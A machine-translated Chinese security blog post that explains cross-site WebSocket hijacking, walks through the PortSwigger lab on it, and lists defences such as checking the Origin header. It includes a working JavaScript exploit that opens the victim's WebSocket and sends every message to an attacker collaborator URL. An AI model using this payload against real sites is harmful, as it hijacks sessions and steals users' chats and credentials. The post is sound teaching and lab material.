当前位置:网站首页>Analysis of websocket hijacking
Analysis of websocket hijacking
2022-07-18 17:12:00 【Hetian network security laboratory】
Statement : This article is limited to technical discussion and sharing , It is strictly forbidden to use it in illegal ways . If readers do any harm to network security, they will bear the consequences , It has nothing to do with this number and the original author .
WebSocket Hijacking vulnerability Guide
WebSocket Protocol technology
WebSocket yes HTML5 New agreement launched , Is based on TCP Application layer communication protocol , It is associated with http The content of the agreement itself does not matter .WebSocket Similar to TCP Handshake connection , Follow TCP The difference is ,WebSocket Is based on HTTP Handshake by agreement , It provides a single based between the client and the server TCP High efficiency full duplex communication channel connected
websocket Is a persistent agreement , and http Yes no lasting
When the communication protocol changes from http:// or https:// Switch to ws:// or wss:// after , Indicates that the application has been switched to WebSocket Protocol communication status
WebSocket The establishment of a connection requires a connection request 、 handshake 、 There are three steps to establish a connection , Here's the picture

establish WebSocket Connect
WebSocket The connection usually uses the client JavaScript Created
var ws = new WebSocket("
wss://normal-website.com/chat");
// The `wss` The protocol is based on an encrypted TLS Connected WebSocket, and `ws` The protocol uses an unencrypted connection .
To establish a connection , Browser and server through HTTP perform WebSocket handshake . The browser sends out WebSocket Handshake request , As shown below :
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocketIf the server accepts the connection , It will return WebSocket Handshake response , As shown below :
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=here , The network connection remains open , And it can be used to send WebSocket news .
Request and response Of Connection and Upgrade The header indicates that this is WebSocket handshake
WebSocket Security vulnerabilities
In principle, , because WebSocket It involves many levels , Anything to do with WebSocket Relevant web Security vulnerabilities are possible
• User input transmitted to the server is handled in an unsafe manner , appear SQL Injection or XML External entity injection, etc
• adopt WebSockets Some blind holes reached (blind vulnerabilities) You may only use out of band (OAST) Technology can detect
• If the data controlled by the attacker passes WebSockets Transfer to other application users , May lead to XSS Or other client vulnerabilities

This article mainly discusses cross-site WebSocket Hijacking loopholes -CSWSH
【---- Help network security learn , All the following learning materials are free ! Add weix:yj009991, remarks “ csdn ” obtain !】
① Thinking map of the growth path of Network Security Learning
② 60+ Network security classic common toolkit
③ 100+SRC Vulnerability analysis report
④ 150+ Network security attack and defense technology ebook
⑤ The most authoritative CISSP Certification test guide + Question bank
⑥ super 1800 page CTF Practical skills manual
⑦ A collection of the latest interview questions from Wangan factory ( With answers )
⑧ APP Client security detection guide ( Android +IOS)
cross-site WebSocket Hijacking loopholes
What is cross station WebSocket Hijacking loopholes
Websocket The security features brought by it alleviate the attacks of some features to a certain extent , But with the development of attack methods , Its related vulnerabilities have also been exposed , One of the most common vulnerabilities is CSWSH(Cross-Site WebSocket Hijacking) cross-site WebSocket Hijacking loopholes
We can see WebSocket Link process with http Is very similar ,WebSocket The protocol is based on HTTP Of . It does not stipulate how the server verifies the identity of the client during the handshake , therefore , The server needs to adopt http Client authentication mechanism to identify identity , As is common cookie、http Head basic certification, etc . This leads to vulnerable attackers using malicious web pages to disguise the identity of users , Build with server WebSocket Connect
CSWSH And Cross Site Request Forgery CSRF The principle of vulnerability is very similar

Compare with CSRF Vulnerability can only send forged requests , cross-site WebSocket Hijacking vulnerabilities can create a complete read / Write two-way channel , And it is not limited by the homology strategy , This has caused greater harm and operability in a great sense
cross-site WebSocket Possible impact of hijacking vulnerability
• Perform unauthorized operations caused by fake users
And Convention CSRF similar , An attacker can fake the generated WebSocket Channel to perform some sensitive operations
• Retrieve sensitive data that users can access
And Convention CSRF When it's different ,CSWSH It is to establish a two-way interactive channel , When the client sends sensitive data to the user , Attackers can intercept and record sensitive information
cross-site WebSocket Hijacking vulnerability range demonstration
Target environment
• shooting range
With the help of burpsuite Training ground
Lab: Cross-site WebSocket hijacking | Web Security Academy (portswigger.net)
• Browser environment
edge browser
Range analysis
• Click to start the shooting range

• It is observed that there is a real-time chat interface , Did you observe CSRF The token
• Copy code to body
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
• wss://your-websocket-url Replace with the current url
•
https://your-collaborator-url Replace with Burp Collaborator Client Or build it yourself Burp Collaborator The server
• You can click on the view exploit test , It can also be sent directly to the attacker

• And then in Burp Collaborator Client many poll A few
• Check the account and password

Then I choose to use dnslog Verify it


It can really bring out data , Perform sensitive operations
How to prevent cross station WebSocket Hijacking loopholes
• check Origin head
• Two way will WebSocket The transmitted data is considered untrusted
• Yes WebSocket Handshake information for encryption protection
• Hard encoding WebSockets Of the endpoint URL
More range experiments 、 Network security learning materials , Please click here >>
https://www.hetianlab.com/
边栏推荐
- 自建个性化自动报价系统,应对多变报价模式
- 【实战】1382- 一文拥有属于你的 puppeteer 爬虫应用
- No 996, no involution, LETV has a "fairy day"?
- Analysis and summary of three technical solutions to realize app automation
- [quick application] PX and VP unit conversion
- [paid promotion] collection of common problems, basic promotion operation FAQ 2
- Interviewer: how can you close an order without using a scheduled task?
- 关于TCP/IP协议漏洞的安全措施
- The use of finally in JS
- 从物理转 AI 、战数据库,95后程序员的职业选择
猜你喜欢

What does software testing need to learn? What skills do test engineers with an annual salary of 30w+ need to master?

自建个性化自动报价系统,应对多变报价模式

【AGC】增长服务3-App Linking示例

Apple commercial website blocks Firefox browser
![[Xilinx ax7103 microbalze learning notes 7] DDR reading and writing experiment of MicroBlaze axi4 interface](/img/93/d0989ec7c4374db32006419a10debb.png)
[Xilinx ax7103 microbalze learning notes 7] DDR reading and writing experiment of MicroBlaze axi4 interface

【快应用】text组件里的文字很多,旁边的div样式会被拉伸如何解决

宝立食品上交所上市:年营收15.78亿 市值58亿
![[HMS core] [wallet kit] [solution] why can't Huawei wallet's client sample code run](/img/2f/46f9e9b74d2d62701c33d647d8eb9b.png)
[HMS core] [wallet kit] [solution] why can't Huawei wallet's client sample code run

电脑PC与S7-200SMART PLC不在同一网段,如何建立通信连接?

Rapport mondial sur le développement de l'industrie de l'enseignement professionnel 2022
随机推荐
为何加上@Configuration注解的类会生成cglib代理?
OSPF(Open Shortest Path First開放式最短路徑優先)防環以及計算錯誤帶來的組網應用隱患
Reverse salary increase, what is this operation?
【HMS core】【Wallet Kit】【解决方案】华为钱包的客户端示例代码为何无法运行
[Xilinx ax7103 microbalze learning notes 7] DDR reading and writing experiment of MicroBlaze axi4 interface
10张图教你同步与异步(转载)
C# 程序调试和异常处理(try catch)
C语言位域
【Golang】函数(一等公民)的使用
Error in v-on handler: “ReferenceError: Toast is not defined“
[Huawei online battle] download and run Huawei's official unity example code, prompting authentication failure and returning error code 100114
我发现了一款高效管理接口文档的神器
npm WARN config global `--global`, `--local` are deprecated. Use `--location=global` instead.
醋酸氯霉素的实验室程序&参考文献
String 实现模糊查询
Grab efficiency! What has the CTO of this enterprise done right to shorten the cloud planning time by half?
MongoDB慢查询与索引
数据湖基本架构
Today in history: the Mozilla foundation was officially established; The first operation of Enigma cipher machine; Nintendo launches FC game console
图片验证,滑块验证解决